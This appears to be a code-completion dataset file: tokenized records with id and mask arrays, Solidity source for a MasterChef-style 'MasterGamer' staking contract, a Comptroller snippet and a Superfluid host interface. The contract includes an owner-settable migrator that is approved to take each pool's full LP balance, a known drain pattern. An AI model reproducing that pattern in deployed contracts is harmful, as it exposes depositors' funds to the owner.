444,
2864,
14667,
12,
11890,
5034,
14036,
13,
3903,
1338,
5541,
288,
203,
3639,
2845,
14667,
273,
14036,
31,
203,
3639,
3626,
8828,
14667,
694,
12,
21386,
1769,
203,
565,
289,
203,
203,
7734,
1021,
11784,
11470,
326,
2481,
769,
364,
333,
14708,
16,
326,
1300,
434,
276,
67,
17507,
3513,
87,
358,
590,
16,
203,
7734,
471,
1508,
1169,
5259,
392,
3844,
434,
14881,
3513,
358,
1328,
487,
16513,
364,
326,
443,
1724,
1383,
434,
326,
203,
7734,
14708,
18,
203,
3639,
632,
891,
225,
2481,
2578,
30,
3344,
374,
16,
404,
16,
578,
576,
16,
4656,
358,
6549,
8846,
16,
4248,
8846,
578,
6580,
8846,
19629,
18,
203,
3639,
632,
891,
225,
15394,
42,
19156,
30,
326,
3844,
434,
14881,
3513,
716,
326,
11784,
8200,
731,
358,
752,
326,
14708,
16,
1492,
22668,
203,
7734,
487,
326,
16513,
358,
8492,
358,
326,
443,
1724,
1383,
4982,
326,
4362,
434,
326,
14708,
1807,
2481,
18,
203,
3639,
632,
891,
225,
1300,
50,
4464,
87,
30,
326,
1300,
434,
276,
67,
17507,
3513,
716,
333,
14708,
353,
18709,
18,
203,
3639,
632,
891,
225,
14096,
30,
326,
1203,
2858,
716,
333,
14708,
1297,
506,
6300,
635,
316,
1353,
358,
506,
5746,
18,
203,
3639,
632,
891,
225,
1269,
14667,
30,
1021,
14036,
716,
326,
11784,
10999,
358,
8843,
1534,
1147,
203,
3639,
632,
5206,
565,
1021,
1269,
14667,
1569,
353,
1399,
358,
5309,
279,
2845,
3410,
628,
6641,
17,
8704,
279,
2492,
203,
7734,
358,
10929,
326,
2845,
14667,
1839,
279,
11784,
2
] |
pragma solidity 0.6.12;
import '@nextechlabs/nexdex-lib/contracts/math/SafeMath.sol';
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import '@nextechlabs/nexdex-lib/contracts/access/Ownable.sol';
import "./Xp.sol";
import "./BoostBar.sol";
// import "@nomiclabs/buidler/console.sol";
interface IMigratorGamer {
// Perform LP token migration from legacy PanxpSwap to XpSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to PanxpSwap LP tokens.
// XpSwap must mint EXACTLY the same amount of XpSwap LP tokens or
// else something bad will happen. Traditional PanxpSwap does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// MasterGamer is the master of Xp. He can make Xp and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once XP is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterGamer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of XPs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accXpPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accXpPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. XPs to distribute per block.
uint256 lastRewardBlock; // Last block number that XPs distribution occurs.
uint256 accXpPerShare; // Accumulated XPs per share, times 1e12. See below.
}
// The XP TOKEN!
Xp public xp;
// The SYRUP TOKEN!
BoostBar public boost;
// Dev address.
address public devaddr;
// XP tokens created per block.
uint256 public xpPerBlock;
// Bonus muliplier for early xp makers.
uint256 public BONUS_MULTIPLIER = 1;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorGamer public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when XP mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
Xp _xp,
BoostBar _boost,
address _devaddr,
uint256 _xpPerBlock,
uint256 _startBlock
) public {
xp = _xp;
boost = _boost;
devaddr = _devaddr;
xpPerBlock = _xpPerBlock;
startBlock = _startBlock;
// staking pool
poolInfo.push(PoolInfo({
lpToken: _xp,
allocPoint: 1000,
lastRewardBlock: startBlock,
accXpPerShare: 0
}));
totalAllocPoint = 1000;
}
function updateMultiplier(uint256 multiplierNumber) public onlyOwner {
BONUS_MULTIPLIER = multiplierNumber;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accXpPerShare: 0
}));
updateStakingPool();
}
// Update the given pool's XP allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 prevAllocPoint = poolInfo[_pid].allocPoint;
poolInfo[_pid].allocPoint = _allocPoint;
if (prevAllocPoint != _allocPoint) {
totalAllocPoint = totalAllocPoint.sub(prevAllocPoint).add(_allocPoint);
updateStakingPool();
}
}
function updateStakingPool() internal {
uint256 length = poolInfo.length;
uint256 points = 0;
for (uint256 pid = 1; pid < length; ++pid) {
points = points.add(poolInfo[pid].allocPoint);
}
if (points != 0) {
points = points.div(3);
totalAllocPoint = totalAllocPoint.sub(poolInfo[0].allocPoint).add(points);
poolInfo[0].allocPoint = points;
}
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorGamer _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
}
// View function to see pending XPs on frontend.
function pendingXp(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accXpPerShare = pool.accXpPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 xpReward = multiplier.mul(xpPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accXpPerShare = accXpPerShare.add(xpReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accXpPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 xpReward = multiplier.mul(xpPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
xp.mint(devaddr, xpReward.div(10)); // devs
xp.mint(address(boost), xpReward); // amount for pools
xp.lock(address(boost), xpReward.mul(99).div(100)); // lock 99 %
pool.accXpPerShare = pool.accXpPerShare.add(xpReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterGamer for XP allocation.
function deposit(uint256 _pid, uint256 _amount) public {
require (_pid != 0, 'deposit XP by staking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accXpPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeXpTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accXpPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterGamer.
function withdraw(uint256 _pid, uint256 _amount) public {
require (_pid != 0, 'withdraw XP by unstaking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accXpPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeXpTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accXpPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Stake XP tokens to MasterGamer
function enterStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
updatePool(0);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accXpPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeXpTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accXpPerShare).div(1e12);
boost.mint(msg.sender, _amount);
emit Deposit(msg.sender, 0, _amount);
}
// Withdraw XP tokens from STAKING.
function leaveStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(0);
uint256 pending = user.amount.mul(pool.accXpPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeXpTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accXpPerShare).div(1e12);
boost.burn(msg.sender, _amount);
emit Withdraw(msg.sender, 0, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe xp transfer function, just in case if rounding error causes pool to not have enough XPs.
function safeXpTransfer(address _to, uint256 _amount) internal {
boost.safeXpTransfer(_to, _amount);
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
|
Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
|
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
| 1,029,179 |
[
1,
19594,
12423,
1147,
358,
4042,
12423,
6835,
18,
4480,
506,
2566,
635,
1281,
476,
18,
1660,
10267,
716,
30188,
6835,
353,
7494,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
445,
13187,
12,
11890,
5034,
389,
6610,
13,
1071,
288,
203,
1850,
2583,
12,
2867,
12,
81,
2757,
639,
13,
480,
1758,
12,
20,
3631,
315,
22083,
30,
1158,
30188,
8863,
203,
1850,
8828,
966,
2502,
2845,
273,
2845,
966,
63,
67,
6610,
15533,
203,
1850,
467,
654,
39,
3462,
12423,
1345,
273,
2845,
18,
9953,
1345,
31,
203,
1850,
2254,
5034,
324,
287,
273,
12423,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
1850,
12423,
1345,
18,
4626,
12053,
537,
12,
2867,
12,
81,
2757,
639,
3631,
324,
287,
1769,
203,
1850,
467,
654,
39,
3462,
394,
48,
84,
1345,
273,
30188,
18,
22083,
12,
9953,
1345,
1769,
203,
1850,
2583,
12,
70,
287,
422,
394,
48,
84,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
13,
3631,
315,
22083,
30,
5570,
8863,
203,
1850,
2845,
18,
9953,
1345,
273,
394,
48,
84,
1345,
31,
203,
3639,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xCF810239F6266316D4Cfe2E478cD8d6be03ae1A6/sources/contracts/Comptroller.sol
|
If collateral factor != 0, fail if price == 0
|
if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(address(cToken)) == 0) {
return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);
}
market.collateralFactorMantissa = newCollateralFactorMantissa;
return uint(Error.NO_ERROR);
| 4,943,380 |
[
1,
2047,
4508,
2045,
287,
5578,
480,
374,
16,
2321,
309,
6205,
422,
374,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
309,
261,
2704,
13535,
2045,
287,
6837,
49,
970,
21269,
480,
374,
597,
20865,
18,
588,
14655,
6291,
5147,
12,
2867,
12,
71,
1345,
3719,
422,
374,
13,
288,
203,
5411,
327,
2321,
12,
668,
18,
7698,
1441,
67,
3589,
16,
13436,
966,
18,
4043,
67,
4935,
12190,
654,
1013,
67,
26835,
67,
9147,
5069,
67,
7698,
1441,
1769,
203,
3639,
289,
203,
203,
3639,
13667,
18,
12910,
2045,
287,
6837,
49,
970,
21269,
273,
394,
13535,
2045,
287,
6837,
49,
970,
21269,
31,
203,
203,
203,
3639,
327,
2254,
12,
668,
18,
3417,
67,
3589,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43113/0x34012ff9A493aC6E2321121fFAA037575a695124/sources/project:/contracts/interfaces/superfluid/ISuperfluid.sol
|
* @title Host interface @author Superfluid @notice This is the central contract of the system where super agreement, super app and super token features are connected. The Superfluid host contract is also the entry point for the protocol users, where batch call and meta transaction are provided for UX improvements./ Superfluid Custom Errors App Related Custom Errors uses SuperAppDefinitions' App Jail Reasons as _code onlyAgreement assertValidCtx(ctx) onlyAgreement assertValidCtx(ctx) onlyAgreement assertValidCtx(ctx) onlyAgreement onlyAgreement assertValidCtx(ctx) onlyAgreement assertValidCtx(ctx)cleanCtxisAgreement(agreementClass)cleanCtxisAppActive(app)isValidAppAction(callData)
|
interface ISuperfluid {
function getNow() external view returns (uint256);
function getGovernance() external view returns(ISuperfluidGovernance governance);
function replaceGovernance(ISuperfluidGovernance newGov) external;
event GovernanceReplaced(ISuperfluidGovernance oldGov, ISuperfluidGovernance newGov);
function registerAgreementClass(ISuperAgreement agreementClassLogic) external;
event AgreementClassRegistered(bytes32 agreementType, address code);
function updateAgreementClass(ISuperAgreement agreementClassLogic) external;
event AgreementClassUpdated(bytes32 agreementType, address code);
function isAgreementTypeListed(bytes32 agreementType) external view returns(bool yes);
function isAgreementClassListed(ISuperAgreement agreementClass) external view returns(bool yes);
function getAgreementClass(bytes32 agreementType) external view returns(ISuperAgreement agreementClass);
function mapAgreementClasses(uint256 bitmap)
external view
returns (ISuperAgreement[] memory agreementClasses);
function addToAgreementClassesBitmap(uint256 bitmap, bytes32 agreementType)
external view
returns (uint256 newBitmap);
function removeFromAgreementClassesBitmap(uint256 bitmap, bytes32 agreementType)
external view
returns (uint256 newBitmap);
function getSuperTokenFactory() external view returns (ISuperTokenFactory factory);
function getSuperTokenFactoryLogic() external view returns (address logic);
function updateSuperTokenFactory(ISuperTokenFactory newFactory) external;
event SuperTokenFactoryUpdated(ISuperTokenFactory newFactory);
function updateSuperTokenLogic(ISuperToken token, address newLogicOverride) external;
event SuperTokenLogicUpdated(ISuperToken indexed token, address code);
function changeSuperTokenAdmin(ISuperToken token, address newAdmin) external;
function registerApp(uint256 configWord) external;
event AppRegistered(ISuperApp indexed app);
function registerAppWithKey(uint256 configWord, string calldata registrationKey) external;
function registerAppByFactory(ISuperApp app, uint256 configWord) external;
function isApp(ISuperApp app) external view returns(bool);
function getAppCallbackLevel(ISuperApp app) external view returns(uint8 appCallbackLevel);
function getAppManifest(
ISuperApp app
)
external view
returns (
bool isSuperApp,
bool isJailed,
uint256 noopMask
);
function isAppJailed(ISuperApp app) external view returns (bool isJail);
function allowCompositeApp(ISuperApp targetApp) external;
function isCompositeAppAllowed(
ISuperApp app,
ISuperApp targetApp
)
external view
returns (bool isAppAllowed);
function callAppBeforeCallback(
ISuperApp app,
bytes calldata callData,
bool isTermination,
bytes calldata ctx
)
external
returns(bytes memory cbdata);
function callAppAfterCallback(
ISuperApp app,
bytes calldata callData,
bool isTermination,
bytes calldata ctx
)
external
returns(bytes memory newCtx);
function appCallbackPush(
bytes calldata ctx,
ISuperApp app,
uint256 appCreditGranted,
int256 appCreditUsed,
ISuperfluidToken appCreditToken
)
external
returns (bytes memory newCtx);
function appCallbackPop(
bytes calldata ctx,
int256 appCreditUsedDelta
)
external
returns (bytes memory newCtx);
function ctxUseCredit(
bytes calldata ctx,
int256 appCreditUsedMore
)
external
returns (bytes memory newCtx);
function jailApp(
bytes calldata ctx,
ISuperApp app,
uint256 reason
)
external
returns (bytes memory newCtx);
event Jail(ISuperApp indexed app, uint256 reason);
function callAgreement(
ISuperAgreement agreementClass,
bytes calldata callData,
bytes calldata userData
)
external
returns(bytes memory returnedData);
function callAppAction(
ISuperApp app,
bytes calldata callData
)
external
returns(bytes memory returnedData);
import { IERC20, IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { IERC777 } from "@openzeppelin/contracts/token/ERC777/IERC777.sol";
import { ISuperfluidToken } from "./ISuperfluidToken.sol";
import { ISuperToken } from "./ISuperToken.sol";
import { ISuperTokenFactory } from "./ISuperTokenFactory.sol";
import { ISETH } from "../tokens/ISETH.sol";
import { IFlowNFTBase } from "./IFlowNFTBase.sol";
import { IConstantOutflowNFT } from "./IConstantOutflowNFT.sol";
import { IConstantInflowNFT } from "./IConstantInflowNFT.sol";
import { IPoolAdminNFT } from "../agreements/gdav1/IPoolAdminNFT.sol";
import { IPoolMemberNFT } from "../agreements/gdav1/IPoolMemberNFT.sol";
import { ISuperAgreement } from "./ISuperAgreement.sol";
import { IConstantFlowAgreementV1 } from "../agreements/IConstantFlowAgreementV1.sol";
import { IInstantDistributionAgreementV1 } from "../agreements/IInstantDistributionAgreementV1.sol";
import { IGeneralDistributionAgreementV1 } from "../agreements/gdav1/IGeneralDistributionAgreementV1.sol";
import { ISuperfluidPool } from "../agreements/gdav1/ISuperfluidPool.sol";
import { ISuperApp } from "./ISuperApp.sol";
import { ISuperfluidGovernance } from "./ISuperfluidGovernance.sol";
struct Context {
uint8 appCallbackLevel;
uint8 callType;
uint256 timestamp;
address msgSender;
bytes4 agreementSelector;
bytes userData;
uint256 appCreditGranted;
uint256 appCreditWantedDeprecated;
int256 appCreditUsed;
address appAddress;
ISuperfluidToken appCreditToken;
}
function callAgreementWithContext(
ISuperAgreement agreementClass,
bytes calldata callData,
bytes calldata userData,
bytes calldata ctx
)
external
returns (bytes memory newCtx, bytes memory returnedData);
function callAppActionWithContext(
ISuperApp app,
bytes calldata callData,
bytes calldata ctx
)
external
returns (bytes memory newCtx);
function decodeCtx(bytes memory ctx)
external pure
returns (Context memory context);
function isCtxValid(bytes calldata ctx) external view returns (bool);
struct Operation {
uint32 operationType;
address target;
bytes data;
}
}
| 7,184,020 |
[
1,
2594,
1560,
225,
14845,
2242,
1911,
225,
1220,
353,
326,
18291,
6835,
434,
326,
2619,
1625,
2240,
19602,
16,
2240,
595,
471,
2240,
1147,
4467,
854,
5840,
18,
1021,
14845,
2242,
1911,
1479,
6835,
353,
2546,
326,
1241,
1634,
364,
326,
1771,
3677,
16,
1625,
2581,
745,
471,
2191,
2492,
854,
2112,
364,
587,
60,
13069,
90,
17110,
18,
19,
14845,
2242,
1911,
6082,
9372,
4677,
23892,
6082,
9372,
4692,
14845,
3371,
7130,
11,
4677,
804,
671,
13558,
87,
487,
389,
710,
1338,
17420,
1815,
1556,
6442,
12,
5900,
13,
1338,
17420,
1815,
1556,
6442,
12,
5900,
13,
1338,
17420,
1815,
1556,
6442,
12,
5900,
13,
1338,
17420,
1338,
17420,
1815,
1556,
6442,
12,
5900,
13,
1338,
17420,
1815,
1556,
6442,
12,
5900,
13,
6200,
6442,
291,
17420,
12,
31135,
797,
13,
6200,
6442,
291,
3371,
3896,
12,
2910,
13,
26810,
3371,
1803,
12,
1991,
751,
13,
2,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0
] |
[
1,
5831,
467,
8051,
2242,
1911,
288,
203,
203,
203,
203,
203,
203,
565,
445,
336,
8674,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
203,
565,
445,
7162,
1643,
82,
1359,
1435,
3903,
1476,
1135,
12,
45,
8051,
2242,
1911,
43,
1643,
82,
1359,
314,
1643,
82,
1359,
1769,
203,
203,
565,
445,
1453,
43,
1643,
82,
1359,
12,
45,
8051,
2242,
1911,
43,
1643,
82,
1359,
394,
43,
1527,
13,
3903,
31,
203,
565,
871,
611,
1643,
82,
1359,
5729,
72,
12,
45,
8051,
2242,
1911,
43,
1643,
82,
1359,
1592,
43,
1527,
16,
467,
8051,
2242,
1911,
43,
1643,
82,
1359,
394,
43,
1527,
1769,
203,
203,
203,
565,
445,
1744,
17420,
797,
12,
45,
8051,
17420,
19602,
797,
20556,
13,
3903,
31,
203,
565,
871,
5495,
10606,
797,
10868,
12,
3890,
1578,
19602,
559,
16,
1758,
981,
1769,
203,
203,
565,
445,
1089,
17420,
797,
12,
45,
8051,
17420,
19602,
797,
20556,
13,
3903,
31,
203,
565,
871,
5495,
10606,
797,
7381,
12,
3890,
1578,
19602,
559,
16,
1758,
981,
1769,
203,
203,
565,
445,
353,
17420,
559,
682,
329,
12,
3890,
1578,
19602,
559,
13,
3903,
1476,
1135,
12,
6430,
12465,
1769,
203,
203,
565,
445,
353,
17420,
30546,
329,
12,
45,
8051,
17420,
19602,
797,
13,
3903,
1476,
1135,
12,
6430,
12465,
1769,
203,
203,
565,
445,
336,
17420,
797,
12,
3890,
1578,
19602,
559,
13,
3903,
1476,
1135,
12,
45,
8051,
17420,
19602,
797,
1769,
